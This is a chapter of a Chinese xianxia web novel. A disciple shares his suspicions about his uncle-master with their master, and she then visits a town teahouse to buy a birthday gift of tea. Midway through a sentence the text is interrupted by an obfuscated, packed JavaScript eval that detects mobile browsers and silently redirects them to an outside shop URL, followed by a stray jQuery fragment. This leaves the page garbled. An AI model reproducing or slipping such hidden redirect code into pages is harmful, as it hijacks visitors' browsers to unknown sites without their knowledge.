文趣网 > 其他小说 > 师姐,你没死啊?! > 13. 第十三章
    日子平淡,过了一月有余,已至寒冬。

    义诊结束时,日头已然西斜,方见微背着半空的药篓,踏着覆满松针的小径往山上走。这些日子,他心性清明,连步伐都轻快许多。

    这条回山的路方见微走得不多,一路上乱石与古松错落有致,就在他绕过一方古拙斑驳的乱石后,脚步倏然顿住。

    前方不远处,在一堆厚厚的松针与几块青黑岩石的夹角里,悄然立着几株冰晶兰。

    不过半掌高,茎秆呈半透明,纯净如同冬日湖面结起的一层冰,茎秆顶端,托着几颗紧紧包裹的花苞。花苞更是晶莹剔透,仿佛匠人用极细腻的水晶雕琢而成。

    方见微轻手轻脚的靠近,脑中一瞬间闪过的几个药方,都只差这一味冰晶兰,可惜还不到采摘的时机。

    冰晶花苞还包裹得紧紧的,远远未到盛放之时,此刻采摘,药性不及全盛时十分之一,无异于暴殄天物。

    丹方上有言:“须待月华满,兰心初绽时,以木灵之气引之,方可保全。”

    今日距月华满还有七日之久,其间不知又会有多少变故。

    暮色渐浓,林间的光影迅速褪去,方见微无奈看了冰晶兰最后一眼,将它们的位置连同周遭的参照物都刻入脑海,随后朝着浮槎山的方向走去。

    第二日一早,方见微心中挂念着那几株冰晶兰,正准备早早下山,不妨被月兆雪拦下。他心中关于冰晶兰的盘算,在见到师尊时尽数消散。

    月兆雪人如其名,肌肤是常年不见日光的白,透出一种玉石般的质感与凉意。唇很薄,总是抿成一条清冽的直线,仿佛封存了所有的情绪。

    一头墨发仅用一根素银梅花长簪挽起,素白衣裙永远纹丝不动,周身散发着一种隔绝俗事的孤远。

    师尊的相貌在九洲之中并不出彩,可有周身的气质在那撑着,教人生不出半分不敬之心。

    方见微站在原地,微微垂首,执弟子礼。他对师尊心悦诚服的另一个原因是她从不藏私。

    九洲这块土地,视传承如性命,大小世家将功法守得固若金汤,唯恐泄了一丝真传。

    师尊在浮槎山开宗立派,对拜入参商派的所有弟子一视同仁,但凡心性纯正的,她都愿意点拨一二。圣人提出的有教无类,只有师尊在一点一点施行。

    方见微已经做好被师尊委以重任的准备,却不妨听见她提起方渡,“你方师叔,近来在做些什么?”

    “回师尊,最近一段时间,方师叔起居如常,除了逢五逢十的日子,师叔每日寅时起身,随后教授宁姑娘阵法,照料后山的那片药圃,晚间有时会翻阅些医家经典。”

    “他在浮槎山外会做些什么?”

    方见微不知其意,仔细思忖后如实禀报:“山外有间茶馆,师叔颇为喜欢,有时会嘱咐我为他捎带半两新茶。”

    除了这些外,方见微实在想不到师叔日常中还会做些什么。与派中的这些弟子相比,不管是师叔还是师尊,他们的生活皆是单调枯燥的令人发指。

    月兆雪又问:“那家茶馆在哪里?”

    知晓师尊不常出山,方见微说的十分详细:“茶馆就在云栖镇镇北旧巷里,青石桥西最后一家,门前高悬着青色三角茶旗,茶旗上写着‘清源茶馆’四个字。”

    “好,我知晓了。”

    方见微听到此句,知道这是师尊要结束对话的意思,正欲躬身告退,一个念头却如电光石火般掠过脑海——师尊从不过问师叔行踪,怎么今日就问起来?

    难不成师尊对师叔有所疑虑?

    方见微将心中所思坦言,月兆雪并未回答,眸光微动,不着痕迹扫了一眼他,反问:“何出此言?”

    “师尊,您不觉得师叔太过完美了?完美的简直不合常理。”

    知道自己这话大逆不道,方见微放低声音,“师叔每日行至分毫不差,义诊施药分文不取,待人接物从未疏忽,数十年来,师叔没有与任何人红过脸,也未曾展露半分私心。”

    越来越多的细节如泉水涌上心头,方见微甚至已经说服了自己:“还有,救治宁姑娘的血珀从何而来?以及师叔传授我的两本功法,都是稀世珍宝。”

    “九洲之中,医道为下,这些东西都不该是一个寻常医修所能拥有的。”

    “师尊,难道你就不曾怀疑过吗?”

    说完这句,方见微抬头看向月兆雪,想知道她的想法。

    月兆雪听完这些,沉默许久,因为她无意一句,没想到方见微竟然联想到这么多。

    世间问题,堵不如疏,月兆雪罕见的解释一句:“我想知道他的行踪,是因为过几日就是他的生辰。我不知道要送些什么,并不是怀疑他。”

    月兆雪并不想他们二人之间因为无关之事疏离,化繁为简道:“他身怀异宝之事,早已告知于我。”

    但当时方渡没有明说,只言要拿出灵宝为她医治暗疾,被她拒绝。

    “至于功法,三年前,他曾夸赞你是可塑之才,早有将这两本功法传授给你的意图,可惜你后面懈怠,多等了这几年。”

    这下轮到方见微惊愕了,连忙行礼认错:“弟子愚钝,未曾领会师叔良苦用心。”

    月兆雪抬手让他起身,并未责怪:“你肯对我吐露这些疑虑,是将浮槎山安危置于首位,亦是相信我能够做出明断。”

    “人心可藏九曲,纵然方渡来历成谜、深浅难测,然而他行医救人的仁心,是实实在在做不了假的。”

    清冷的声音一如往昔,月兆雪继续道:“与他相处这么多年,我相信他绝非包藏祸心者。”

    想到方见微坦率直言的性格,月兆雪不放心,又多吩咐一句:“今日之言,止于此间,不许多说。”

    方见微当即垂首:“弟子明白。”

    月兆雪得到地址后正准备下山,不成想被阿黍看到,一定要跟着。本想御剑,又被阿黍劝说,她许久不下山,不如亲自走走。

    浮槎山下,积雪未消。

    云栖镇算是朔殁洲中比较富庶的镇子,青石板路如蛛网纵横交错。

    才走过两个巷口,月兆雪便已立在岔道前,目光扫过几乎一模一样的粉墙黛瓦,眉宇间掠过极淡的迟疑。

    “师尊,这边走。”

    阿黍快步走到前头,声音是少年人特有的清亮。这里她来过不少次,对这些小道十分熟悉。

    巷子内不止有居民,亦有早茶铺子开在其间,蒸腾的热气氤氲在巷子之间。

    早有铺子的伙计看见阿黍,隔着窗户热情地招呼:“阿黍,刚出笼的米糕,还热乎着,快拿着!”

    阿黍也不见外,跑过去接过米糕,同他道过谢,聊了几句家常,又回到月兆雪身边,献宝似的递上米糕:“师尊,快些尝尝,他家的米糕最好吃。”

    月兆雪果真没拒绝,拿在手里,慢慢品尝。阿黍瞧见,一双漂亮的杏眼亮了又亮。

    阿黍捧着许多人给的零嘴走在前,月兆雪静默跟在身后,看着她的身影在街巷间穿梭,和许多镇民说说笑笑,如同溪水中欢快的一尾鱼。

    月兆雪抿着的唇泄出一点点笑,参商派共七十九名弟子,阿黍在她心中总是要特殊一点。

    她们一路向北,很快到了清源茶馆。这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637501|206618||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    间茶馆与其他店铺不同,并不在云栖镇热闹的主街上,反而藏在僻静的深巷尽头。

    茶馆是座两层高的木构小楼,门虚掩,阿黍推开门走进去,大堂内没瞧见一个人,只有黄铜炭盆在角落里烧得正旺,橘红的火光跳跃,暖意扑面而来,茶香亦融于其中。

    东墙是一整面博古架,错落摆放着茶具、线装古籍、还有许多未雕琢的奇石,南墙则悬着一幅《松下煮茶图》,纸上老叟画得颇有神韵。

    不多时,有一青衣少年踏着楼梯下来,见客至也不殷勤,只微微欠身,也不言语,不紧不慢地将茶壶置于炭盆中央,而后躲在柜台里面,慢悠悠打起了盹,睡起回笼觉。

    堂中仅设五张茶桌,阿黍选了紧邻窗边的那一张,让月兆雪先行坐下,又去旁边的檀木台取来茶和茶具,一一摆在桌上。

    在等白水煮沸的过程中,阿黍坐在凳子上,手肘支着桌面,双手托腮,不看窗外的景,反而看着对面的月兆雪。

    师尊周身三寸之地,自称一方天地,有雪落的寂,有梅开的幽,总让她心生向往。

    水很快沸腾,成串的水泡炸开,阿黍倏然回神,像只灵巧的云雀般跃下凳子,走到黄铜炭盆前,提回一壶热水。

    水流在空中拉出一道银弧,稳稳倾入茶海,茶叶在漩涡中缓缓舒展,茶香溢出。

    盏中茶汤清亮,阿黍将茶盏推到月兆雪面前:“师尊,这家茶馆与别家不同,先试茶,再买茶。我选了几种茶,您一会都尝一尝。”

    她们说话间,窗外天色突然阴晦,彤云密布,看起来马上要落雪的样子。

    零零散散的茶客来到,或独行,或二三结伴,各占一方,泡茶品茶。

    茶已泡好,月兆雪三指托盏,垂眸凝视汤色,而后送至唇边。三种茶,月兆雪都慢慢试过,茶汤各有特色,她分不出高低,

    月兆雪偏过头,忽然开口:“我不通茶道,你师叔可有什么偏好?”

    阿黍正低头整理着茶具,听到月兆雪的话,意识到缘由,有些情难自禁的吐了出来:“原来师尊是专为师叔下山啊...”

    “凡是这家茶馆的茶,师叔都不挑剔,”阿黍很快高兴起来,一边将原本摆得整齐的茶盏又重新排了一遍,一边补充,“茶馆但凡出了新茶,师叔一定要让师妹师弟们帮他带些。”

    事情突然变得简单,阿黍去柜台问青衣伙计最近有什么新茶。

    阿黍和方见微来过几次,青衣少年对她有些印象,从柜底取出一只紫竹茶罐,摆在桌面,慢慢介绍:“此茶名为紫笋,只生长在断崖石缝中。茶性独特,初饮如利刃破喉,回味却有神通。如今只剩下这半罐,两位客官要还是不要?”

    阿黍看向月兆雪,见她点头,然后才回青衣少年:“我们都要了,帮我们包起来。”

    青衣少年忍不住道:“道友,这茶涩意蛮横,寻常人半钱都要分三次泡,要不要少买点,只尝个鲜?”

    “师叔才不是寻常人,什么茶他都喝得来。”

    听到此人,青衣少年不再多言,将紫笋茶仔细分作两份,用桑皮纸包好,又以竹篾细细捆扎。

    正在这个空档,身后传来环佩轻响。

    有一女修从外面进来,生得一副明媚容颜,身着流霞绡纱裙,双耳坠珍珠流苏,一条乌金绞丝软鞭环在腰间。

    在她与月兆雪错身而过的瞬间,露出腰间挂着的一枚昆仑墟宫主令。

    白玉为基,嵌三足金乌纹,正面雕昆仑墟全景,背面刻珠英宫三个古体字,悬垂八宝璎珞。

    月兆雪的身形几不可察地微微一顿,长明剑蓄势待发。